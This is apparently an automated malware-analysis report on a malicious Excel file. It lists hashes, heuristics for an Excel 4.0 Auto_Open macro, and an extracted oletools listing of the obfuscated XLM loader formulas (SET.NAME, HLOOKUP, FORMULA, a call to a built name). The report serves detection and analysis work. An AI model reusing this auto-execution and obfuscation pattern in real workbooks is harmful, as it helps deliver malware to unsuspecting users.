Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f6f8c4bd0c3ab59…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:14 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 238723a07e65e2ae772120fed5e613b4 SHA-1: 98c0f438b80aeee7c2c224b65f1d3cee934039f9 SHA-256: 4f6f8c4bd0c3ab59b380ccceb2765a8cd884b7bd8ecbdab33de2c17ace73bbea
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 (XLM) macros, specifically an Auto_Open defined name. This indicates an attempt to automatically execute code upon opening the workbook. The presence of dangerous formula APIs like RUN further suggests malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6493 bytes
SHA-256: 9007fe00ade4d3155cbb250f371fe4537060830ece8f8ae0daa29abad7be031e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aYN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F168 
' 0018     20 LABEL : Cell Value, String Constant - cbGwM len=0 
' 0018     24 LABEL : Cell Value, String Constant - CyjqFhoYl len=0 
' 0018     22 LABEL : Cell Value, String Constant - dVJbeqs len=0 
' 0018     21 LABEL : Cell Value, String Constant - GlSMPX len=0 
' 0018     21 LABEL : Cell Value, String Constant - HjpWaj len=0 
' 0018     26 LABEL : Cell Value, String Constant - HYaCraDBOGj len=0 
' 0018     23 LABEL : Cell Value, String Constant - iIOxKSEi len=0 
' 0018     24 LABEL : Cell Value, String Constant - joFFoGFMu len=0 
' 0018     25 LABEL : Cell Value, String Constant - JPhrlDgoRw len=0 
' 0018     22 LABEL : Cell Value, String Constant - PIPKQxO len=0 
' 0018     24 LABEL : Cell Value, String Constant - QBUxBEpcc len=0 
' 0018     27 LABEL : Cell Value, String Constant - SYahpzKmmEHe len=0 
' 0018     26 LABEL : Cell Value, String Constant - tSGhXbzkFqd len=0 
' 0018     26 LABEL : Cell Value, String Constant - upuSBBximKG len=0 
' 0018     25 LABEL : Cell Value, String Constant - UzJrwfsHTT len=0 
' 0018     21 LABEL : Cell Value, String Constant - vjeooS len=0 
' 0018     27 LABEL : Cell Value, String Constant - XvMucizOXPKG len=0 
' 0018     24 LABEL : Cell Value, String Constant - ygPOBWAKP len=0 
' 0018     22 LABEL : Cell Value, String Constant - yYZnpfD len=0 
' 0018     21 LABEL : Cell Value, String Constant - zzWDEz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aYN,F79,"SET.NAME("PIPKQxO",VALUE("0"))",""
'  aYN,F84,"SET.NAME("XvMucizOXPKG",PIPKQxO)",""
'  aYN,F87,"SET.NAME("tSGhXbzkFqd",PIPKQxO)",""
'  aYN,F90,"SET.NAME("cbGwM",COUNTA(HjpWaj))",""
'  aYN,F94,"SET.NAME("joFFoGFMu",COUNTA(QBUxBEpcc))",""
'  aYN,F98,[],""
'  aYN,F100,"SET.NAME("yYZnpfD","")",""
'  aYN,F102,"XvMucizOXPKG",""
'  aYN,F104,"SET.NAME("iIOxKSEi",HLOOKUP("*",HjpWaj,XvMucizOXPKG,FALSE))",""
'  aYN,F109,"ygPOBWAKP",""
'  aYN,F113,"SET.NAME("UzJrwfsHTT",PIPKQxO)",""
'  aYN,F116,[],""
'  aYN,F120,"UzJrwfsHTT",""
'  aYN,F122,"GlSMPX",""
'  aYN,F125,"SYahpzKmmEHe",""
'  aYN,F127,"zzWDEz",""
'  aYN,F131,"SET.NAME("dVJbeqs",VALUE(HLOOKUP("*",QBUxBEpcc,zzWDEz,FALSE)))",""
'  aYN,F135,"CyjqFhoYl",""
'  aYN,F138,"yYZnpfD",""
'  aYN,F143,"tSGhXbzkFqd",""
'  aYN,F145,NEXT(),""
'  aYN,F148,"upuSBBximKG",""
'  aYN,F153,"SET.NAME("f",INT(T(FORMULA(T(yYZnpfD)&"",""&T(upuSBBximKG)))))",""
'  aYN,F156,"vjeooS",""
'  aYN,F160,NEXT(),""
'  aYN,F163,RETURN(),""
'  aYN,F191,"SET.NAME("HYaCraDBOGj",F79)",""
'  aYN,F195,"HjpWaj",""
'  aYN,F199,"SET.NAME("QBUxBEpcc",R60C13)",""
'  aYN,F203,"SET.NAME("vjeooS",209)",""
'  aYN,F205,"SET.NAME("JPhrlDgoRw",6)",""
'  aYN,F208,HYaCraDBOGj(),""
'  aYN,F209,HALT(),""